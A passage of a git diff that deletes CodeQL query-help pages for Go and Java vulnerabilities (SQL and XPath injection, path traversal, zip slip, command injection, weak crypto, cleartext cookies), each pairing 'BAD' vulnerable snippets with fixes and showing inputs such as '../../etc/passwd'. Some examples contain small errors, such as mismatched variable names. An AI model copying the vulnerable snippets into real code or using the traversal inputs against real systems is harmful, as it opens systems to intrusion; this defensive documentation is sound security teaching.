sq.StatementBuilder. - Insert("resources"). - Columns("resource_id", "version_md5"). - Values(id, sq.Expr(fmt.Sprintf("md5('%s')", versionJSON))). - Exec() -} - -``` -Note that while Squirrel provides a structured API for building SQL queries that mitigates against common causes of SQL injection vulnerabilities, this code is still vulnerable: if the JSON-encoded representation of `version` contains a single quote, this will prematurely close the surrounding string, changing the structure of the SQL expression being constructed. This could be exploited to mount a SQL injection attack. - -To fix this vulnerability, use Squirrel's placeholder syntax, which avoids the need to explicitly construct a quoted string. - - -```go -package main - -import ( - "encoding/json" - sq "github.com/Masterminds/squirrel" -) - -func saveGood(id string, version interface{}) { - versionJSON, _ := json.Marshal(version) - sq.StatementBuilder. - Insert("resources"). - Columns("resource_id", "version_md5"). - Values(id, sq.Expr("md5(?)", versionJSON)). - Exec() -} - -``` - -## References -* Wikipedia: [SQL injection](https://en.wikipedia.org/wiki/SQL_injection). -* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). -* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). -* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). -* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html). \ No newline at end of file diff --git a/docs/language/query-help/go/TaintedPath.md b/docs/language/query-help/go/TaintedPath.md deleted file mode 100644 index a7a7a3f49ab..00000000000 --- a/docs/language/query-help/go/TaintedPath.md +++ /dev/null @@ -1,61 +0,0 @@ -# Uncontrolled data used in path expression - -``` -ID: go/path-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-022 external/cwe/cwe-023 external/cwe/cwe-036 external/cwe/cwe-073 external/cwe/cwe-099 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-022/TaintedPath.ql) - -Accessing files using paths constructed from user-controlled data can allow an attacker to access unexpected resources. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. - - -## Recommendation -Validate user input before using it to construct a file path, either using an off-the-shelf library or by performing custom validation. - -Ideally, follow these rules: - -* Do not allow more than a single "." character. -* Do not allow directory separators such as "/" or "\" (depending on the file system). -* Do not rely on simply replacing problematic sequences such as "../". For example, after applying this filter to ".../...//", the resulting string would still be "../". -* Use an allowlist of known good patterns. - -## Example -In the first example, a file name is read from an HTTP request and then used to access a file. However, a malicious user could enter a file name which is an absolute path, such as "/etc/passwd". - -In the second example, it appears that the user is restricted to opening a file within the `"user"` home directory. However, a malicious user could enter a file name containing special characters. For example, the string `"../../etc/passwd"` will result in the code reading the file located at "/home/user/../../etc/passwd", which is the system's password file. This file would then be sent back to the user, giving them access to password information. - - -```go -package main - -import ( - "io/ioutil" - "net/http" - "path/filepath" -) - -func handler(w http.ResponseWriter, r *http.Request) { - path := r.URL.Query()["path"][0] - - // BAD: This could read any file on the file system - data, _ := ioutil.ReadFile(path) - w.Write(data) - - // BAD: This could still read any file on the file system - data, _ = ioutil.ReadFile(filepath.Join("/home/user/", path)) - w.Write(data) -} - -``` - -## References -* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). -* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). -* Common Weakness Enumeration: [CWE-23](https://cwe.mitre.org/data/definitions/23.html). -* Common Weakness Enumeration: [CWE-36](https://cwe.mitre.org/data/definitions/36.html). -* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html). -* Common Weakness Enumeration: [CWE-99](https://cwe.mitre.org/data/definitions/99.html). \ No newline at end of file diff --git a/docs/language/query-help/go/XPathInjection.md b/docs/language/query-help/go/XPathInjection.md deleted file mode 100644 index f64af2edb78..00000000000 --- a/docs/language/query-help/go/XPathInjection.md +++ /dev/null @@ -1,65 +0,0 @@ -# XPath injection - -``` -ID: go/xml/xpath-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-643 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-643/XPathInjection.ql) - -If an XPath expression is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to create a malicious XPath expression. - - -## Recommendation -If user input must be included in an XPath expression, pre-compile the query and use variable references to include the user input. - -For example, when using the `github.com/ChrisTrenkamp/goxpath` API, you can do this by creating a function that takes an `*goxpath.Opts` structure. In this structure you can then set the values of the variable references. This function can then be specified when calling `Exec()`, `Exec{Bool|Num|Node}()`, `ParseExec()`, or `MustExec()`. - - -## Example -In the first example, the code accepts a username specified by the user, and uses this unvalidated and unsanitized value in an XPath expression. This is vulnerable to the user providing special characters or string sequences that change the meaning of the XPath expression to search for different values. - -In the second example, the XPath expression is a hard-coded string that specifies some variables, which are safely resolved at runtime using the `goxpath.Opts` structure. - - -```go -package main - -import ( - "fmt" - "net/http" - - "github.com/ChrisTrenkamp/goxpath" - "github.com/ChrisTrenkamp/goxpath/tree" -) - -func main() {} - -func processRequest(r *http.Request, doc tree.Node) { - r.ParseForm() - username := r.Form.Get("username") - - // BAD: User input used directly in an XPath expression - xPath := goxpath.MustParse("//users/user[login/text()='" + username + "']/home_dir/text()") - unsafeRes, _ := xPath.ExecBool(doc) - fmt.Println(unsafeRes) - - // GOOD: Value of parameters is defined here instead of directly in the query - opt := func(o *goxpath.Opts) { - o.Vars["username"] = tree.String(username) - } - // GOOD: Uses parameters to avoid including user input directly in XPath expression - xPath = goxpath.MustParse("//users/user[login/text()=$username]/home_dir/text()") - safeRes, _ := xPath.ExecBool(doc, opt) - fmt.Println(safeRes) -} - -``` - -## References -* OWASP: [Testing for XPath Injection](https://www.owasp.org/index.php?title=Testing_for_XPath_Injection_(OTG-INPVAL-010)). -* OWASP: [XPath Injection](https://www.owasp.org/index.php/XPATH_Injection). -* Common Weakness Enumeration: [CWE-643](https://cwe.mitre.org/data/definitions/643.html). \ No newline at end of file diff --git a/docs/language/query-help/go/ZipSlip.md b/docs/language/query-help/go/ZipSlip.md deleted file mode 100644 index fbd32b47b0d..00000000000 --- a/docs/language/query-help/go/ZipSlip.md +++ /dev/null @@ -1,78 +0,0 @@ -# Arbitrary file write during zip extraction ("zip slip") - -``` -ID: go/zipslip -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-022 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-022/ZipSlip.ql) - -Extracting files from a malicious zip archive without validating that the destination file path is within the destination directory can cause files outside the destination directory to be overwritten, due to the possible presence of directory traversal elements (`..`) in archive paths. - -Zip archives contain archive entries representing each file in the archive. These entries include a file path for the entry, but these file paths are not restricted and may contain unexpected special elements such as the directory traversal element (`..`). If these file paths are used to determine which output file the contents of an archive item should be written to, then the file may be written to an unexpected location. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. - -For example, if a zip file contains a file entry `..\sneaky-file`, and the zip file is extracted to the directory `c:\output`, then naively combining the paths would result in an output file path of `c:\output\..\sneaky-file`, which would cause the file to be written to `c:\sneaky-file`. - - -## Recommendation -Ensure that output paths constructed from zip archive entries are validated to prevent writing files to unexpected locations. - -The recommended way of writing an output file from a zip archive entry is to check that "`..`" does not occur in the path. - - -## Example -In this example an archive is extracted without validating file paths. If `archive.zip` contained relative paths (for instance, if it were created by something like `zip archive.zip ../file.txt`) then executing this code could write to locations outside the destination directory. - - -```go -package main - -import ( - "archive/zip" - "io/ioutil" - "path/filepath" -) - -func unzip(f string) { - r, _ := zip.OpenReader(f) - for _, f := range r.File { - p, _ := filepath.Abs(f.Name) - // BAD: This could overwrite any file on the file system - ioutil.WriteFile(p, []byte("present"), 0666) - } -} - -``` -To fix this vulnerability, we need to check that the path does not contain any "`..`" elements in it. - - -```go -package main - -import ( - "archive/zip" - "io/ioutil" - "path/filepath" - "strings" -) - -func unzipGood(f string) { - r, _ := zip.OpenReader(f) - for _, f := range r.File { - p, _ := filepath.Abs(f.Name) - // GOOD: Check that path does not contain ".." before using it - if !strings.Contains(p, "..") { - ioutil.WriteFile(p, []byte("present"), 0666) - } - } -} - -``` - -## References -* Snyk: [Zip Slip Vulnerability](https://snyk.io/research/zip-slip-vulnerability). -* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). -* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). \ No newline at end of file diff --git a/docs/language/query-help/index.rst b/docs/language/query-help/index.rst index f5aa7874888..9c668c2fcb4 100644 --- a/docs/language/query-help/index.rst +++ b/docs/language/query-help/index.rst @@ -1,8 +1,17 @@ CodeQL query help ----------------- +Use the sidebar to view the query help for the queries included in the "code scanning" and "security extended" query suites for a single language. + +Each query help page includes: + +- A summary of key metadata for the query +- A link to the query in the `CodeQL repository `__ +- Help information to explain what potential vulnerability the query identifies and a recommendation for how to avoid introducing the problem in your code + .. toctree:: :titlesonly: + :hidden: cpp csharp @@ -10,10 +19,4 @@ CodeQL query help java javascript python - -Code scanning query lists -========================= - -.. toctree:: - - query-list \ No newline at end of file + \ No newline at end of file diff --git a/docs/language/query-help/java/ArithmeticTainted.md b/docs/language/query-help/java/ArithmeticTainted.md deleted file mode 100644 index 9684ae02052..00000000000 --- a/docs/language/query-help/java/ArithmeticTainted.md +++ /dev/null @@ -1,64 +0,0 @@ -# User-controlled data in arithmetic expression - -``` -ID: java/tainted-arithmetic -Kind: path-problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-190 external/cwe/cwe-191 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-190/ArithmeticTainted.ql) - -Performing calculations on user-controlled data can result in integer overflows unless the input is validated. - -If the user is free to enter very large numbers, even arithmetic operations that would usually result in a small change in magnitude may result in overflows. - - -## Recommendation -Always guard against overflow in arithmetic operations on user-controlled data by doing one of the following: - -* Validate the user input. -* Define a guard on the arithmetic expression, so that the operation is performed only if the result can be known to be less than, or equal to, the maximum value for the type, for example `MAX_VALUE`. -* Use a wider type, so that larger input values do not cause overflow. - -## Example -In this example, a value is read from standard input into an `int`. Because the value is a user-controlled value, it could be extremely large. Performing arithmetic operations on this value could therefore cause an overflow. To avoid this happening, the example shows how to perform a check before performing a multiplication. - - -```java -class Test { - public static void main(String[] args) { - { - int data; - - BufferedReader readerBuffered = new BufferedReader( - new InputStreamReader(System.in, "UTF-8")); - String stringNumber = readerBuffered.readLine(); - if (stringNumber != null) { - data = Integer.parseInt(stringNumber.trim()); - } else { - data = 0; - } - - // BAD: may overflow if input data is very large, for example - // 'Integer.MAX_VALUE' - int scaled = data * 10; - - //... - - // GOOD: use a guard to ensure no overflows occur - int scaled2; - if (data < Integer.MAX_VALUE / 10) - scaled2 = data * 10; - else - scaled2 = Integer.MAX_VALUE; - } - } -} -``` - -## References -* The CERT Oracle Secure Coding Standard for Java: [NUM00-J. Detect or prevent integer overflow](https://www.securecoding.cert.org/confluence/display/java/NUM00-J.+Detect+or+prevent+integer+overflow). -* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). -* Common Weakness Enumeration: [CWE-191](https://cwe.mitre.org/data/definitions/191.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ArithmeticUncontrolled.md b/docs/language/query-help/java/ArithmeticUncontrolled.md deleted file mode 100644 index dfb464b1fe4..00000000000 --- a/docs/language/query-help/java/ArithmeticUncontrolled.md +++ /dev/null @@ -1,54 +0,0 @@ -# Uncontrolled data in arithmetic expression - -``` -ID: java/uncontrolled-arithmetic -Kind: path-problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-190 external/cwe/cwe-191 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-190/ArithmeticUncontrolled.ql) - -Performing calculations on uncontrolled data can result in integer overflows unless the input is validated. - -If the data is not under your control, and can take extremely large values, even arithmetic operations that would usually result in a small change in magnitude may result in overflows. - - -## Recommendation -Always guard against overflow in arithmetic operations on uncontrolled data by doing one of the following: - -* Validate the data. -* Define a guard on the arithmetic expression, so that the operation is performed only if the result can be known to be less than, or equal to, the maximum value for the type, for example `MAX_VALUE`. -* Use a wider type, so that larger input values do not cause overflow. - -## Example -In this example, a random integer is generated. Because the value is not controlled by the programmer, it could be extremely large. Performing arithmetic operations on this value could therefore cause an overflow. To avoid this happening, the example shows how to perform a check before performing a multiplication. - - -```java -class Test { - public static void main(String[] args) { - { - int data = (new java.security.SecureRandom()).nextInt(); - - // BAD: may overflow if data is large - int scaled = data * 10; - - // ... - - // GOOD: use a guard to ensure no overflows occur - int scaled2; - if (data < Integer.MAX_VALUE/10) - scaled2 = data * 10; - else - scaled2 = Integer.MAX_VALUE; - } - } -} -``` - -## References -* The CERT Oracle Secure Coding Standard for Java: [NUM00-J. Detect or prevent integer overflow](https://www.securecoding.cert.org/confluence/display/java/NUM00-J.+Detect+or+prevent+integer+overflow). -* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). -* Common Weakness Enumeration: [CWE-191](https://cwe.mitre.org/data/definitions/191.html). \ No newline at end of file diff --git a/docs/language/query-help/java/BrokenCryptoAlgorithm.md b/docs/language/query-help/java/BrokenCryptoAlgorithm.md deleted file mode 100644 index 776f227f4c4..00000000000 --- a/docs/language/query-help/java/BrokenCryptoAlgorithm.md +++ /dev/null @@ -1,44 +0,0 @@ -# Use of a broken or risky cryptographic algorithm - -``` -ID: java/weak-cryptographic-algorithm -Kind: path-problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-327 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-327/BrokenCryptoAlgorithm.ql) - -Using broken or weak cryptographic algorithms can leave data vulnerable to being decrypted. - -Many cryptographic algorithms provided by cryptography libraries are known to be weak, or flawed. Using such an algorithm means that an attacker may be able to easily decrypt the encrypted data. - - -## Recommendation -Ensure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048. - - -## Example -The following code shows an example of using a java `Cipher` to encrypt some data. When creating a `Cipher` instance, you must specify the encryption algorithm to use. The first example uses DES, which is an older algorithm that is now considered weak. The second example uses AES, which is a strong modern algorithm. - - -```java -// BAD: DES is a weak algorithm -Cipher des = Cipher.getInstance("DES"); -cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec); - -byte[] encrypted = cipher.doFinal(input.getBytes("UTF-8")); - -// ... - -// GOOD: AES is a strong algorithm -Cipher des = Cipher.getInstance("AES"); - -// ... -``` - -## References -* NIST, FIPS 140 Annex a: [ Approved Security Functions](http://csrc.nist.gov/publications/fips/fips140-2/fips1402annexa.pdf). -* NIST, SP 800-131A: [ Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf). -* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/java/CleartextStorageCookie.md b/docs/language/query-help/java/CleartextStorageCookie.md deleted file mode 100644 index e3d52b851a3..00000000000 --- a/docs/language/query-help/java/CleartextStorageCookie.md +++ /dev/null @@ -1,62 +0,0 @@ -# Cleartext storage of sensitive information in cookie - -``` -ID: java/cleartext-storage-in-cookie -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-315 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-312/CleartextStorageCookie.ql) - -Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. - - -## Recommendation -Ensure that sensitive information is always encrypted before being stored. It may be wise to encrypt information before it is put into a heap data structure (such as `Java.util.Properties`) that may be written to disk later. Objects that are serializable or marshallable should also always contain encrypted information unless you are certain that they are not ever going to be serialized. - -In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. - - -## Example -The following example shows two ways of storing user credentials in a cookie. In the 'BAD' case, the credentials are simply stored in cleartext. In the 'GOOD' case, the credentials are hashed before storing them. - - -```java -public static void main(String[] args) { - { - String data; - PasswordAuthentication credentials = - new PasswordAuthentication("user", "BP@ssw0rd".toCharArray()); - data = credentials.getUserName() + ":" + new String(credentials.getPassword()); - - // BAD: store data in a cookie in cleartext form - response.addCookie(new Cookie("auth", data)); - } - - { - String data; - PasswordAuthentication credentials = - new PasswordAuthentication("user", "GP@ssw0rd".toCharArray()); - String salt = "ThisIsMySalt"; - MessageDigest messageDigest = MessageDigest.getInstance("SHA-512"); - messageDigest.reset(); - String credentialsToHash = - credentials.getUserName() + ":" + credentials.getPassword(); - byte[] hashedCredsAsBytes = - messageDigest.digest((salt+credentialsToHash).getBytes("UTF-8")); - data = bytesToString(hashedCredsAsBytes); - - // GOOD: store data in a cookie in encrypted form - response.addCookie(new Cookie("auth", data)); - } -} - -``` - -## References -* The CERT Oracle Secure Coding Standard for Java: [SER03-J. Do not serialize unencrypted, sensitive data](https://www.securecoding.cert.org/confluence/display/java/SER03-J.+Do+not+serialize+unencrypted+sensitive+data). -* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. -* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. -* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html). \ No newline at end of file diff --git a/docs/language/query-help/java/CleartextStorageProperties.md b/docs/language/query-help/java/CleartextStorageProperties.md deleted file mode 100644 index 559726cc1ac..00000000000 --- a/docs/language/query-help/java/CleartextStorageProperties.md +++ /dev/null @@ -1,62 +0,0 @@ -# Cleartext storage of sensitive information using 'Properties' class - -``` -ID: java/cleartext-storage-in-properties -Kind: problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-313 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-312/CleartextStorageProperties.ql) - -Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. - - -## Recommendation -Ensure that sensitive information is always encrypted before being stored. It may be wise to encrypt information before it is put into a heap data structure (such as `Java.util.Properties`) that may be written to disk later. Objects that are serializable or marshallable should also always contain encrypted information unless you are certain that they are not ever going to be serialized. - -In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. - - -## Example -The following example shows two ways of storing user credentials in a cookie. In the 'BAD' case, the credentials are simply stored in cleartext. In the 'GOOD' case, the credentials are hashed before storing them. - - -```java -public static void main(String[] args) { - { - String data; - PasswordAuthentication credentials = - new PasswordAuthentication("user", "BP@ssw0rd".toCharArray()); - data = credentials.getUserName() + ":" + new String(credentials.getPassword()); - - // BAD: store data in a cookie in cleartext form - response.addCookie(new Cookie("auth", data)); - } - - { - String data; - PasswordAuthentication credentials = - new PasswordAuthentication("user", "GP@ssw0rd".toCharArray()); - String salt = "ThisIsMySalt"; - MessageDigest messageDigest = MessageDigest.getInstance("SHA-512"); - messageDigest.reset(); - String credentialsToHash = - credentials.getUserName() + ":" + credentials.getPassword(); - byte[] hashedCredsAsBytes = - messageDigest.digest((salt+credentialsToHash).getBytes("UTF-8")); - data = bytesToString(hashedCredsAsBytes); - - // GOOD: store data in a cookie in encrypted form - response.addCookie(new Cookie("auth", data)); - } -} - -``` - -## References -* The CERT Oracle Secure Coding Standard for Java: [SER03-J. Do not serialize unencrypted, sensitive data](https://www.securecoding.cert.org/confluence/display/java/SER03-J.+Do+not+serialize+unencrypted+sensitive+data). -* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. -* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. -* Common Weakness Enumeration: [CWE-313](https://cwe.mitre.org/data/definitions/313.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ComparisonWithWiderType.md b/docs/language/query-help/java/ComparisonWithWiderType.md deleted file mode 100644 index 64cb837f645..00000000000 --- a/docs/language/query-help/java/ComparisonWithWiderType.md +++ /dev/null @@ -1,68 +0,0 @@ -# Comparison of narrow type with wide type in loop condition - -``` -ID: java/comparison-with-wider-type -Kind: problem -Severity: warning -Precision: medium -Tags: reliability security external/cwe/cwe-190 external/cwe/cwe-197 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-190/ComparisonWithWiderType.ql) - -In a loop condition, comparison of a value of a narrow type with a value of a wide type may always evaluate to `true` if the wider value is sufficiently large (or small). This is because the narrower value may overflow. This can lead to an infinite loop. - - -## Recommendation -Change the types of the compared values so that the value on the narrower side of the comparison is at least as wide as the value it is being compared with. - - -## Example -In this example, `bytesReceived` is compared against `MAXGET` in a `while` loop. However, `bytesReceived` is a `short`, and `MAXGET` is a `long`. Because `MAXGET` is larger than `Short.MAX_VALUE`, the loop condition is always `true`, so the loop never terminates. - -This problem is avoided in the 'GOOD' case because `bytesReceived2` is a `long`, which is as wide as the type of `MAXGET`. - - -```java -class Test { - public static void main(String[] args) { - - { - int BIGNUM = Integer.MAX_VALUE; - long MAXGET = Short.MAX_VALUE + 1; - - char[] buf = new char[BIGNUM]; - - short bytesReceived = 0; - - // BAD: 'bytesReceived' is compared with a value of wider type. - // 'bytesReceived' overflows before reaching MAXGET, - // causing an infinite loop. - while (bytesReceived < MAXGET) { - bytesReceived += getFromInput(buf, bytesReceived); - } - } - - { - long bytesReceived2 = 0; - - // GOOD: 'bytesReceived2' has a type at least as wide as MAXGET. - while (bytesReceived2 < MAXGET) { - bytesReceived2 += getFromInput(buf, bytesReceived2); - } - } - - } - - public static int getFromInput(char[] buf, short pos) { - // write to buf - // ... - return 1; - } -} -``` - -## References -* The CERT Oracle Secure Coding Standard for Java: [NUM00-J. Detect or prevent integer overflow](https://www.securecoding.cert.org/confluence/display/java/NUM00-J.+Detect+or+prevent+integer+overflow). -* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). -* Common Weakness Enumeration: [CWE-197](https://cwe.mitre.org/data/definitions/197.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ConditionalBypass.md b/docs/language/query-help/java/ConditionalBypass.md deleted file mode 100644 index ff59143e754..00000000000 --- a/docs/language/query-help/java/ConditionalBypass.md +++ /dev/null @@ -1,54 +0,0 @@ -# User-controlled bypass of sensitive method - -``` -ID: java/user-controlled-bypass -Kind: path-problem -Severity: error -Precision: medium -Tags: security external/cwe/cwe-807 external/cwe/cwe-290 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-807/ConditionalBypass.ql) - -Many Java constructs enable code statements to be executed conditionally, for example `if` statements and `for` statements. If these statements contain important authentication or login code, and the decision about whether to execute this code is based on user-controlled data, it may be possible for an attacker to bypass security systems by preventing this code from executing. - - -## Recommendation -Never decide whether to authenticate a user based on data that may be controlled by that user. If necessary, ensure that the data is validated extensively when it is input before any authentication checks are performed. - -It is still possible to have a system that "remembers" users, thus not requiring the user to login on every interaction. For example, personalization settings can be applied without authentication because this is not sensitive information. However, users should be allowed to take sensitive actions only when they have been fully authenticated. - - -## Example -This example shows two ways of deciding whether to authenticate a user. The first way shows a decision that is based on the value of a cookie. Cookies can be easily controlled by the user, and so this allows a user to become authenticated without providing valid credentials. The second, more secure way shows a decision that is based on looking up the user in a security database. - - -```java -public boolean doLogin(String user, String password) { - Cookie adminCookie = getCookies()[0]; - - // BAD: login is executed only if the value of 'adminCookie' is 'false', - // but 'adminCookie' is controlled by the user - if(adminCookie.getValue()=="false") - return login(user, password); - - return true; -} - -public boolean doLogin(String user, String password) { - Cookie adminCookie = getCookies()[0]; - - // GOOD: use server-side information based on the credentials to decide - // whether user has privileges - boolean isAdmin = queryDbForAdminStatus(user, password); - if(!isAdmin) - return login(user, password); - - return true; -} -``` - -## References -* The CERT Oracle Secure Coding Standard for Java: [SEC02-J. Do not base security checks on untrusted sources](https://www.securecoding.cert.org/confluence/display/java/SEC02-J.+Do+not+base+security+checks+on+untrusted+sources). -* Common Weakness Enumeration: [CWE-807](https://cwe.mitre.org/data/definitions/807.html). -* Common Weakness Enumeration: [CWE-290](https://cwe.mitre.org/data/definitions/290.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ExecRelative.md b/docs/language/query-help/java/ExecRelative.md deleted file mode 100644 index b8a5531ad37..00000000000 --- a/docs/language/query-help/java/ExecRelative.md +++ /dev/null @@ -1,41 +0,0 @@ -# Executing a command with a relative path - -``` -ID: java/relative-path-command -Kind: problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-078 external/cwe/cwe-088 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-078/ExecRelative.ql) - -When a command is executed with a relative path, the runtime uses the PATH environment variable to find which executable to run. Therefore, any user who can change the PATH environment variable can cause the software to run a different, malicious executable. - - -## Recommendation -In most cases, simply use a command that has an absolute path instead of a relative path. - -In some cases, the location of the executable might be different on different installations. In such cases, consider specifying the location of key executables with some form of configuration. When using this approach, be careful that the configuration system is not itself vulnerable to malicious modifications. - - -## Example - -```java -class Test { - public static void main(String[] args) { - // BAD: relative path - Runtime.getRuntime().exec("make"); - - // GOOD: absolute path - Runtime.getRuntime().exec("/usr/bin/make"); - - // GOOD: build an absolute path from known values - Runtime.getRuntime().exec(Paths.MAKE_PREFIX + "/bin/make"); - } -} -``` - -## References -* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). -* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ExecTainted.md b/docs/language/query-help/java/ExecTainted.md deleted file mode 100644 index e6ecef3d563..00000000000 --- a/docs/language/query-help/java/ExecTainted.md +++ /dev/null @@ -1,42 +0,0 @@ -# Uncontrolled command line - -``` -ID: java/command-line-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-078 external/cwe/cwe-088 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-078/ExecTainted.ql) - -Code that passes user input directly to `Runtime.exec`, or some other library routine that executes a command, allows the user to execute malicious code. - - -## Recommendation -If possible, use hard-coded string literals to specify the command to run or library to load. Instead of passing the user input directly to the process or library function, examine the user input and then choose among hard-coded string literals. - -If the applicable libraries or commands cannot be determined at compile time, then add code to verify that the user input string is safe before using it. - - -## Example -The following example shows code that takes a shell script that can be changed maliciously by a user, and passes it straight to `Runtime.exec` without examining it first. - - -```java -class Test { - public static void main(String[] args) { - String script = System.getenv("SCRIPTNAME"); - if (script != null) { - // BAD: The script to be executed is controlled by the user. - Runtime.getRuntime().exec(script); - } - } -} -``` - -## References -* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). -* The CERT Oracle Secure Coding Standard for Java: [IDS07-J. Sanitize untrusted data passed to the Runtime.exec() method](https://www.securecoding.cert.org/confluence/display/java/IDS07-J.+Sanitize+untrusted+data+passed+to+the+Runtime.exec%28%29+method). -* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). -* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ExecUnescaped.md b/docs/language/query-help/java/ExecUnescaped.md deleted file mode 100644 index 835bbe6858f..00000000000 --- a/docs/language/query-help/java/ExecUnescaped.md +++ /dev/null @@ -1,51 +0,0 @@ -# Building a command line with string concatenation - -``` -ID: java/concatenated-command-line -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-078 external/cwe/cwe-088 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-078/ExecUnescaped.ql) - -Code that builds a command line by concatenating strings that have been entered by a user allows the user to execute malicious code. - - -## Recommendation -Execute external commands using an array of strings rather than a single string. By using an array, many possible vulnerabilities in the formatting of the string are avoided. - - -## Example -In the following example, `latlonCoords` contains a string that has been entered by a user but not validated by the program. This allows the user to, for example, append an ampersand (&) followed by the command for a malicious program to the end of the string. The ampersand instructs Windows to execute another program. In the block marked 'BAD', `latlonCoords` is passed to `exec` as part of a concatenated string, which allows more than one command to be executed. However, in the block marked 'GOOD', `latlonCoords` is passed as part of an array, which means that `exec` treats it only as an argument. - - -```java -class Test { - public static void main(String[] args) { - // BAD: user input might include special characters such as ampersands - { - String latlonCoords = args[1]; - Runtime rt = Runtime.getRuntime(); - Process exec = rt.exec("cmd.exe /C latlon2utm.exe " + latlonCoords); - } - - // GOOD: use an array of arguments instead of executing a string - { - String latlonCoords = args[1]; - Runtime rt = Runtime.getRuntime(); - Process exec = rt.exec(new String[] { - "c:\\path\to\latlon2utm.exe", - latlonCoords }); - } - } -} - -``` - -## References -* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). -* The CERT Oracle Secure Coding Standard for Java: [IDS07-J. Sanitize untrusted data passed to the Runtime.exec() method](https://www.securecoding.cert.org/confluence/display/java/IDS07-J.+Sanitize+untrusted+data+passed+to+the+Runtime.exec%28%29+method). -* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). -* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ExternallyControlledFormatString.md b/docs/language/query-help/java/ExternallyControlledFormatString.md deleted file mode 100644 index 1b75d8ef28b..00000000000 